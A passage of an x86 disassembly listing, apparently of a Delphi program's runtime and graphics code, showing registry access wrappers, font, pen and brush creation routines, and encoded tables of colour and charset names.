loc_4001463D mov eax, edi mov ecx, ebx xor edx, edx call sub_40004974 push ebx lea eax, [esp+18h+var_14] push eax mov eax, [edi] call sub_40004D48 mov ecx, eax mov edx, ebp mov eax, esi call sub_400146B4 cmp [esp+14h+var_14], 1 jz short loc_4001461D cmp [esp+14h+var_14], 2 jnz short loc_40014634 loc_4001461D: ; CODE XREF: sub_400145D4+41j mov eax, [edi] call sub_40004D48 call sub_4000815C mov edx, eax mov eax, edi call sub_40004F74 jmp short loc_40014644 ; --------------------------------------------------------------------------- loc_40014634: ; CODE XREF: sub_400145D4+47j mov eax, ebp call sub_400140B4 jmp short loc_40014644 ; --------------------------------------------------------------------------- loc_4001463D: ; CODE XREF: sub_400145D4+18j mov eax, edi call sub_40004884 loc_40014644: ; CODE XREF: sub_400145D4+5Ej ; sub_400145D4+67j pop edx pop ebp pop edi pop esi pop ebx retn sub_400145D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001464C proc near ; CODE XREF: sub_400145A4+26p var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov ebx, eax movzx eax, [ebp+arg_0] call sub_400140F4 mov esi, eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+var_4] push eax push esi push 0 mov eax, edi call sub_40004D48 push eax mov eax, [ebx+4] push eax call sub_400064E8 ; RegSetValueExA test eax, eax jz short loc_400146AB mov [ebp+var_C], edi mov [ebp+var_8], 0Bh lea eax, [ebp+var_C] push eax push 0 mov ecx, off_4001AFCC mov dl, 1 mov eax, ds:off_40013FEC call sub_4000B128 call sub_400042E4 loc_400146AB: ; CODE XREF: sub_4001464C+39j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_4001464C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400146B4 proc near ; CODE XREF: sub_400145D4+38p var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax xor eax, eax mov [ebp+var_4], eax lea eax, [ebp+arg_4] push eax push edi lea eax, [ebp+var_4] push eax push 0 mov eax, esi call sub_40004D48 push eax mov eax, [ebx+4] push eax call sub_400064E0 ; RegQueryValueExA test eax, eax jz short loc_4001470C mov [ebp+var_C], esi mov [ebp+var_8], 0Bh lea eax, [ebp+var_C] push eax push 0 mov ecx, off_4001B0D4 mov dl, 1 mov eax, ds:off_40013FEC call sub_4000B128 call sub_400042E4 loc_4001470C: ; CODE XREF: sub_400146B4+32j mov ebx, [ebp+arg_4] mov eax, [ebp+var_4] call sub_40014124 mov edx, [ebp+arg_0] mov [edx], al mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_400146B4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_40014730 dd 30h, 0FFFFFFFFh, 1, 31h ; .data:4001AAA4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40014740 proc near ; DATA XREF: .text:400183A8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4001477C push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F300 jnz short loc_4001476E mov eax, offset off_4001AAA0 mov ecx, 2 mov edx, ds:off_40001000 call sub_40005314 loc_4001476E: ; CODE XREF: sub_40014740+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40014783 loc_4001477B: ; CODE XREF: sub_40014740+41j retn ; --------------------------------------------------------------------------- loc_4001477C: ; DATA XREF: sub_40014740+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001477B ; --------------------------------------------------------------------------- loc_40014783: ; CODE XREF: sub_40014740:loc_4001477Bj ; DATA XREF: sub_40014740+36o pop ebp retn sub_40014740 endp ; --------------------------------------------------------------------------- align 4 off_40014788 dd offset dword_4001478C ; DATA XREF: .itext:40019378r dword_4001478C dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h, 408D7Fh ; DATA XREF: .text:off_40014788o off_400147A0 dd offset dword_400147A4 ; DATA XREF: .itext:4001938Cr dword_400147A4 dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h ; DATA XREF: .text:off_400147A0o dd 90000000h off_400147BC dd offset dword_40014808 ; DATA XREF: .text:4001484Co ; .itext:40019303o ... dd 6 dup(0) dd offset dword_40014808 dd offset dword_40014810 dd 24h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_400148CC dword_40014808 dd 0FFFF0001h ; .text:400147D8o dd offset nullsub_7 dword_40014810 dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h ; DATA XREF: .text:400147DCo off_40014824 dd offset dword_40014870 ; DATA XREF: .itext:4001932Do dd 6 dup(0) dd offset dword_40014870 dd offset dword_40014878 dd 24h dd offset off_400147BC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_400148CC dword_40014870 dd 0FFFF0001h ; .text:40014840o dd offset loc_4001490C dword_40014878 dd 72425415h, 52687375h, 756F7365h, 4D656372h, 67616E61h ; DATA XREF: .text:40014844o dd 0C08B7265h, 0D2845653h, 0C4830874h, 0F692E8F0h, 0DA8BFFFEh dd 8966F08Bh, 468D204Eh, 31E85008h, 8BFFFF1Dh, 74DB84C6h dd 0F6CEE80Fh, 8F64FFFEh, 5, 0CC48300h, 5B5EC68Bh, 408DC3h ; =============== S U B R O U T I N E ======================================= sub_400148CC proc near ; DATA XREF: .text:40014804o ; .text:4001486Co push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax lea eax, [esi+8] push eax call sub_40006518 ; RtlDeleteCriticalSection test bl, bl jle short loc_400148EB mov eax, esi call sub_40003F80 loc_400148EB: ; CODE XREF: sub_400148CC+16j pop esi pop ebx retn sub_400148CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400148F0 proc near ; CODE XREF: sub_40014F8C+3Fp ; sub_400151D0+1Ap ... add eax, 8 push eax call sub_40006520 ; RtlEnterCriticalSection retn sub_400148F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400148FC proc near ; CODE XREF: sub_40014F8C+1EEp ; sub_400151D0+80p ... add eax, 8 push eax call sub_400065E8 ; RtlLeaveCriticalSection retn sub_400148FC endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] align 4 loc_4001490C: ; DATA XREF: .text:40014874o cmp byte ptr [edx+1Dh], 0 jz short locret_4001491A lea eax, [edx+18h] call sub_4000C970 locret_4001491A: ; CODE XREF: .text:40014910j retn ; --------------------------------------------------------------------------- align 4 dword_4001491C dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h ; DATA XREF: .data:4001AADCo dd 6E6F6F72h, 0 dword_40014940 dd 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh, 7, 6C4F6C63h ; DATA XREF: .data:4001AAECo dd 657669h, 0FFFFFFFFh, 6, 614E6C63h, 7976h, 0FFFFFFFFh dd 8, 75506C63h, 656C7072h, 0 dword_40014984 dd 0FFFFFFFFh, 6, 65546C63h, 6C61h, 0FFFFFFFFh, 6, 72476C63h ; DATA XREF: .data:4001AB0Co dd 7961h, 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0 dword_400149B8 dd 0FFFFFFFFh, 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h ; DATA XREF: .data:4001AB24o dd 656Dh, 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0 dword_400149EC dd 0FFFFFFFFh, 6, 6C426C63h, 6575h, 0FFFFFFFFh, 9, 75466C63h ; DATA XREF: .data:4001AB3Co dd 69736863h, 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh dd 7, 68576C63h, 657469h, 0FFFFFFFFh, 0Ch, 6F4D6C63h, 4779656Eh dd 6E656572h, 0 dword_40014A48 dd 0FFFFFFFFh, 9, 6B536C63h, 756C4279h, 65h, 0FFFFFFFFh ; DATA XREF: .data:4001AB64o dd 7, 72436C63h, 6D6165h, 0FFFFFFFFh, 9, 654D6C63h, 61724764h dd 79h, 0FFFFFFFFh, 0Eh, 63416C63h, 65766974h, 64726F42h dd 7265h, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h dd 6E6F69h, 0FFFFFFFFh, 0Eh, 70416C63h, 726F5770h, 6170536Bh dd 6563h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh dd 0 dword_40014AE0 dd 0FFFFFFFFh, 9, 74426C63h, 6361466Eh, 65h, 0FFFFFFFFh ; DATA XREF: .data:4001AB9Co dd 0Eh, 74426C63h, 6769486Eh, 67696C68h, 7468h, 0FFFFFFFFh dd 0Bh, 74426C63h, 6168536Eh, 776F64h, 0FFFFFFFFh, 9, 74426C63h dd 7865546Eh, 74h, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h dd 7865546Eh, 74h, 0FFFFFFFFh, 9, 65446C63h, 6C756166h dd 74h, 0FFFFFFFFh, 17h, 72476C63h, 65696461h, 6341746Eh dd 65766974h, 74706143h, 6E6F69h, 0FFFFFFFFh, 19h, 72476C63h dd 65696461h, 6E49746Eh, 69746361h, 61436576h, 6F697470h dd 6Eh, 0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh dd 0Bh, 69486C63h, 696C6867h, 746867h, 0FFFFFFFFh, 0Fh dd 69486C63h, 696C6867h, 54746867h, 747865h, 0FFFFFFFFh dd 0Ah, 6F486C63h, 67694C74h, 7468h, 0FFFFFFFFh, 10h, 6E496C63h dd 69746361h, 6F426576h, 72656472h, 0 dword_40014C14 dd 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h, 6F697470h ; DATA XREF: .data:4001AC04o dd 6Eh, 0FFFFFFFFh, 15h, 6E496C63h, 69746361h, 61436576h dd 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh, 8, 6E496C63h dd 6B426F66h, 0 dword_40014C64 dd 0FFFFFFFFh, 0Ah, 6E496C63h, 65546F66h, 7478h, 0FFFFFFFFh ; DATA XREF: .data:4001AC1Co dd 6, 654D6C63h, 756Eh, 0FFFFFFFFh, 9, 654D6C63h, 6142756Eh dd 72h, 0FFFFFFFFh, 0Fh, 654D6C63h, 6948756Eh, 696C6867h dd 746867h, 0FFFFFFFFh, 0Ah, 654D6C63h, 6554756Eh, 7478h dd 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh, 0FFFFFFFFh, 0Bh, 63536C63h dd 6C6C6F72h, 726142h, 0FFFFFFFFh, 0Ch, 44336C63h, 68536B44h dd 776F6461h, 0 dword_40014D04 dd 0FFFFFFFFh, 9, 44336C63h, 6867694Ch, 74h, 0FFFFFFFFh ; DATA XREF: .data:4001AC5Co dd 8, 69576C63h, 776F646Eh, 0 dword_40014D2C dd 0FFFFFFFFh, 0Dh, 69576C63h, 776F646Eh, 6D617246h, 65h ; DATA XREF: .data:4001AC6Co dd 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh, 74786554h, 0 ; =============== S U B R O U T I N E ======================================= sub_40014D5C proc near ; CODE XREF: sub_400151D0+57p ; sub_40015270+9Fp ... test eax, eax jge short locret_40014D6B and eax, 0FFh push eax call sub_40006720 ; GetSysColor locret_40014D6B: ; CODE XREF: sub_40014D5C+2j retn sub_40014D5C endp ; =============== S U B R O U T I N E ======================================= sub_40014D6C proc near ; DATA XREF: .itext:4001936Eo push 33h mov ecx, offset dword_4001AAD8 call sub_40013658 retn sub_40014D6C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40014D7C proc near ; DATA XREF: .itext:40019373o push 33h mov ecx, offset dword_4001AAD8 call sub_40013618 retn sub_40014D7C endp ; --------------------------------------------------------------------------- align 4 dword_40014D8C dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0 ; DATA XREF: .data:4001AC7Co dword_40014DA4 dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h ; DATA XREF: .data:4001AC84o dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh dd 10h, 46494853h, 53494A54h, 4148435Fh, 54455352h, 0 dword_40014E04 dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h ; DATA XREF: .data:4001ACA4o dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h dd 544553h, 0FFFFFFFFh, 0Dh, 45455247h, 48435F4Bh, 45535241h dd 54h, 0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h dd 544553h, 0FFFFFFFFh, 0Eh, 52424548h, 435F5745h, 53524148h dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h dd 544553h, 0FFFFFFFFh, 0Ch, 49414854h, 4148435Fh, 54455352h dd 0 dd 0FFFFFFFFh, 12h aEasteurope_cha db 'EASTEUROPE_CHARSET',0 ; DATA XREF: .data:4001ACFCo align 4 dword_40014F2C dd 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h, 544553h ; DATA XREF: .data:4001AD04o ; --------------------------------------------------------------------------- loc_40014F40: ; DATA XREF: .itext:40019382o push 11h mov ecx, offset dword_4001AC78 call sub_40013658 retn ; --------------------------------------------------------------------------- align 10h loc_40014F50: ; DATA XREF: .itext:40019387o push 11h mov ecx, offset dword_4001AC78 call sub_40013618 retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40014F60 proc near ; CODE XREF: sub_40014F8C+187p push ebx mov ebx, eax movzx eax, byte ptr [ebx+0Eh] cmp al, byte_4001AAB6 jnz short loc_40014F82 mov eax, offset byte_4001AAB7 lea edx, [ebx+0Fh] movzx ecx, byte ptr [eax] inc ecx call sub_40003510 jz short loc_40014F86 loc_40014F82: ; CODE XREF: sub_40014F60+Dj xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_40014F86: ; CODE XREF: sub_40014F60+20j mov al, 1 pop ebx retn sub_40014F60 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40014F8C proc near ; CODE XREF: sub_400155A4+6p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFB0h push ebx push esi push edi xor edx, edx mov [ebp+var_50], edx mov [ebp+var_4C], edx mov [ebp+var_48], edx mov [ebp+var_44], edx mov ebx, eax xor eax, eax push ebp push offset loc_400151A8 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebx+10h] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_40015187 mov eax, ds:dword_4001F350 call sub_400148F0 xor edx, edx push ebp push offset loc_40015180 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_40015168 mov eax, [ebp+var_4] mov eax, [eax+14h] mov [ebp+var_40], eax xor eax, eax mov [ebp+var_3C], eax mov eax, [ebp+var_4] mov eax, [eax+18h] mov [ebp+var_38], eax mov [ebp+var_34], eax mov eax, [ebp+var_4] test byte ptr [eax+1Dh], 1 jz short loc_40015017 mov [ebp+var_30], 2BCh jmp short loc_4001501E ; --------------------------------------------------------------------------- loc_40015017: ; CODE XREF: sub_40014F8C+80j mov [ebp+var_30], 190h loc_4001501E: ; CODE XREF: sub_40014F8C+89j mov eax, [ebp+var_4] test byte ptr [eax+1Dh], 2 setnz al mov [ebp+var_2C], al mov eax, [ebp+var_4] test byte ptr [eax+1Dh], 4 setnz al mov [ebp+var_2B], al mov eax, [ebp+var_4] test byte ptr [eax+1Dh], 8 setnz al mov [ebp+var_2A], al mov eax, [ebp+var_4] movzx eax, byte ptr [eax+1Eh] cmp al, 1 jnz short loc_40015065 cmp byte_4001AAB6, 1 jz short loc_40015065 movzx eax, byte_4001AAB6 mov [ebp+var_29], al jmp short loc_40015068 ; --------------------------------------------------------------------------- loc_40015065: ; CODE XREF: sub_40014F8C+C2j ; sub_40014F8C+CBj mov [ebp+var_29], al loc_40015068: ; CODE XREF: sub_40014F8C+D7j lea eax, [ebp+var_44] mov edx, [ebp+var_4] add edx, 1Fh call sub_40004AE8 mov esi, [ebp+var_44] test esi, esi jz short loc_40015082 sub esi, 4 mov esi, [esi] loc_40015082: ; CODE XREF: sub_40014F8C+EFj mov edi, offset aDefault ; "Default" test edi, edi jz short loc_40015090 sub edi, 4 mov edi, [edi] loc_40015090: ; CODE XREF: sub_40014F8C+FDj push edi mov eax, offset aDefault ; "Default" call sub_40004D48 push eax push esi lea eax, [ebp+var_48] mov edx, [ebp+var_4] add edx, 1Fh call sub_40004AE8 mov eax, [ebp+var_48] call sub_40004D48 push eax push 1 push 400h call sub_400064F8 ; CompareStringA sub eax, 2 test eax, eax jnz short loc_400150E1 lea eax, [ebp+var_4C] mov edx, offset byte_4001AAB7 call sub_40004AE8 mov edx, [ebp+var_4C] lea eax, [ebp+var_24] call sub_400081B8 jmp short loc_400150FA ; --------------------------------------------------------------------------- loc_400150E1: ; CODE XREF: sub_40014F8C+139j lea eax, [ebp+var_50] mov edx, [ebp+var_4] add edx, 1Fh call sub_40004AE8 mov edx, [ebp+var_50] lea eax, [ebp+var_24] call sub_400081B8 loc_400150FA: ; CODE XREF: sub_40014F8C+153j mov eax, off_4001B0C8 cmp dword ptr [eax], 1 jnz short loc_40015120 call sub_40015918 cmp al, 80h jnz short loc_40015120 mov eax, [ebp+var_4] add eax, 10h call sub_40014F60 test al, al jz short loc_40015120 mov [ebp+var_29], 80h loc_40015120: ; CODE XREF: sub_40014F8C+176j ; sub_40014F8C+17Fj ... mov [ebp+var_26], 0 cmp [ebp+var_34], 0 jz short loc_40015130 mov [ebp+var_28], 7 jmp short loc_40015134 ; --------------------------------------------------------------------------- loc_40015130: ; CODE XREF: sub_40014F8C+19Cj mov [ebp+var_28], 0 loc_40015134: ; CODE XREF: sub_40014F8C+1A2j mov [ebp+var_27], 0 mov eax, ebx call sub_400151C8 dec al jz short loc_40015149 dec al jz short loc_4001514F jmp short loc_40015155 ; --------------------------------------------------------------------------- loc_40015149: ; CODE XREF: sub_40014F8C+1B5j mov [ebp+var_25], 2 jmp short loc_40015159 ; --------------------------------------------------------------------------- loc_4001514F: ; CODE XREF: sub_40014F8C+1B9j mov [ebp+var_25], 1 jmp short loc_40015159 ; --------------------------------------------------------------------------- loc_40015155: ; CODE XREF: sub_40014F8C+1BBj mov [ebp+var_25], 0 loc_40015159: ; CODE XREF: sub_40014F8C+1C1j ; sub_40014F8C+1C7j lea eax, [ebp+var_40] push eax call sub_40006678 ; CreateFontIndirectA mov edx, [ebp+var_4] mov [edx+8], eax loc_40015168: ; CODE XREF: sub_40014F8C+59j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015187 loc_40015175: ; CODE XREF: sub_40014F8C+1F9j mov eax, ds:dword_4001F350 call sub_400148FC retn ; --------------------------------------------------------------------------- loc_40015180: ; DATA XREF: sub_40014F8C+47o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015175 ; --------------------------------------------------------------------------- loc_40015187: ; CODE XREF: sub_40014F8C+34j ; sub_40014F8C+1F3j ; DATA XREF: ... mov eax, [ebp+var_4] mov ebx, [eax+8] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400151AF loc_4001519A: ; CODE XREF: sub_40014F8C+221j lea eax, [ebp+var_50] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_400151A8: ; DATA XREF: sub_40014F8C+1Co jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001519A ; --------------------------------------------------------------------------- loc_400151AF: ; CODE XREF: sub_40014F8C+21Bj ; DATA XREF: sub_40014F8C+209o mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40014F8C endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 7 aDefault db 'Default',0 ; DATA XREF: sub_40014F8C:loc_40015082o ; sub_40014F8C+105o ; =============== S U B R O U T I N E ======================================= sub_400151C8 proc near ; CODE XREF: sub_40014F8C+1AEp mov eax, [eax+10h] movzx eax, byte ptr [eax+1Ch] retn sub_400151C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400151D0 proc near ; CODE XREF: sub_400155D0+6p var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_4001525D mov eax, ds:dword_4001F354 call sub_400148F0 xor eax, eax push ebp push offset loc_40015256 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_4001523E mov eax, [ebp+var_4] movzx eax, byte ptr [eax+1Ch] movzx eax, word_4001AD08[eax*2] mov [ebp+var_14], eax mov eax, [ebp+var_4] mov eax, [eax+18h] mov [ebp+var_10], eax mov eax, [ebp+var_4] mov eax, [eax+14h] call sub_40014D5C mov [ebp+var_8], eax lea eax, [ebp+var_14] push eax call sub_40006688 ; CreatePenIndirect mov edx, [ebp+var_4] mov [edx+8], eax loc_4001523E: ; CODE XREF: sub_400151D0+34j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001525D loc_4001524B: ; CODE XREF: sub_400151D0+8Bj mov eax, ds:dword_4001F354 call sub_400148FC retn ; --------------------------------------------------------------------------- loc_40015256: ; DATA XREF: sub_400151D0+22o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001524B ; --------------------------------------------------------------------------- loc_4001525D: ; CODE XREF: sub_400151D0+13j ; sub_400151D0+85j ; DATA XREF: ... mov eax, [ebp+var_4] mov eax, [eax+8] mov esp, ebp pop ebp retn sub_400151D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40015268 proc near ; CODE XREF: sub_40015600+32p ; sub_40015600+56p mov eax, [eax+10h] mov eax, [eax+14h] retn sub_40015268 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40015270 proc near ; CODE XREF: sub_40015600+6p ; sub_40015600+14p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_40015345 mov eax, ds:dword_4001F358 call sub_400148F0 xor edx, edx push ebp push offset loc_4001533E push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_40015326 mov eax, [ebp+var_4] mov eax, [eax+18h] test eax, eax jz short loc_400152D2 mov [ebp+var_10], 3 mov dl, 1 mov ecx, [eax] call dword ptr [ecx+70h] mov eax, [ebp+var_4] mov eax, [eax+18h] mov edx, [eax] call dword ptr [edx+68h] mov [ebp+var_8], eax jmp short loc_40015309 ; --------------------------------------------------------------------------- loc_400152D2: ; CODE XREF: sub_40015270+42j xor eax, eax mov [ebp+var_8], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax+1Ch] mov edx, eax sub dl, 1 jb short loc_400152E9 jz short loc_400152F0 jmp short loc_400152F9 ; --------------------------------------------------------------------------- loc_400152E9: ; CODE XREF: sub_40015270+73j xor eax, eax mov [ebp+var_10], eax jmp short loc_40015309 ; --------------------------------------------------------------------------- loc_400152F0: ; CODE XREF: sub_40015270+75j mov [ebp+var_10], 1 jmp short loc_40015309 ; --------------------------------------------------------------------------- loc_400152F9: ; CODE XREF: sub_40015270+77j mov [ebp+var_10], 2 and eax, 7Fh sub eax, 2 mov [ebp+var_8], eax loc_40015309: ; CODE XREF: sub_40015270+60j ; sub_40015270+7Ej ... mov eax, [ebp+var_4] mov eax, [eax+14h] call sub_40014D5C mov [ebp+var_C], eax lea eax, [ebp+var_10] push eax call sub_40006670 ; CreateBrushIndirect mov edx, [ebp+var_4] mov [edx+8], eax loc_40015326: ; CODE XREF: sub_40015270+38j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40015345 loc_40015333: ; CODE XREF: sub_40015270+D3j mov eax, ds:dword_4001F358 call sub_400148FC retn ; --------------------------------------------------------------------------- loc_4001533E: ; DATA XREF: sub_40015270+26o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40015333 ; --------------------------------------------------------------------------- loc_40015345: ; CODE XREF: sub_40015270+13j ; sub_40015270+CDj ; DATA XREF: ... mov eax, [ebp+var_4] mov eax, [eax+8] mov esp, ebp pop ebp retn sub_40015270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40015350 proc near ; CODE XREF: sub_40015600+26p mov eax, [eax+10h] movzx eax, byte ptr [eax+1Ch] retn sub_40015350 endp ; =============== S U B R O U T I N E ======================================= sub_40015358 proc near ; CODE XREF: sub_400153AC+2Fp ; sub_40015840+18p push ebx mov ebx, eax push offset dword_4001F338 call sub_40006520 ; RtlEnterCriticalSection inc dword ptr [ebx+50h] push offset dword_4001F338 call sub_400065E8 ; RtlLeaveCriticalSection lea eax, [ebx+38h] push eax call sub_40006520 ; RtlEnterCriticalSection pop ebx retn sub_40015358 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40015380 proc near ; CODE XREF: sub_40015458+13p push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax movzx edx, ds:byte_400153A8 mov eax, ebx call sub_4001552C push 0 push edi push esi mov eax, [ebx+4] push eax call sub_400066C8 ; MoveToEx pop edi pop esi pop ebx retn sub_40015380 endp ; --------------------------------------------------------------------------- byte_400153A8 db 1 ; DATA XREF: sub_40015380+9r align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400153AC proc near ; CODE XREF: sub_40015794+41p var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ebx mov ebx, eax push offset dword_4001F338 call sub_40006520 ; RtlEnterCriticalSection xor eax, eax push ebp push offset loc_400153F8 push dword ptr fs:[eax] mov fs:[eax], esp cmp dword ptr [ebx+50h], 0 setz [ebp+var_1] cmp [ebp+var_1], 0 jz short loc_400153E0 mov eax, ebx call sub_40015358 loc_400153E0: ; CODE XREF: sub_400153AC+2Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400153FF loc_400153ED: ; CODE XREF: sub_400153AC+51j push offset dword_4001F338 call sub_400065E8 ; RtlLeaveCriticalSection retn ; --------------------------------------------------------------------------- loc_400153F8: ; DATA XREF: sub_400153AC+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400153ED ; --------------------------------------------------------------------------- loc_400153FF: ; DATA XREF: sub_400153AC+3Co movzx eax, [ebp+var_1] pop ebx pop ecx pop ebp retn sub_400153AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40015408 proc near ; CODE XREF: sub_40015794+70p ; sub_40015840+8Ep push ebx mov ebx, eax lea eax, [ebx+38h] push eax call sub_400065E8 ; RtlLeaveCriticalSection push offset dword_4001F338 call sub_40006520 ; RtlEnterCriticalSection dec dword ptr [ebx+50h] push offset dword_4001F338 call sub_400065E8 ; RtlLeaveCriticalSection pop ebx retn sub_40015408 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40015430 proc near ; CODE XREF: sub_400154D8+1Fp push ebx push esi mov esi, edx mov ebx, eax movzx edx, ds:byte_40015454 mov eax, ebx call sub_4001552C push esi mov eax, [ebx+4] push eax call sub_400066A0 ; GetCurrentPositionEx pop esi pop ebx retn sub_40015430 endp ; --------------------------------------------------------------------------- align 4 byte_40015454 db 1 ; DATA XREF: sub_40015430+6r align 4 ; =============== S U 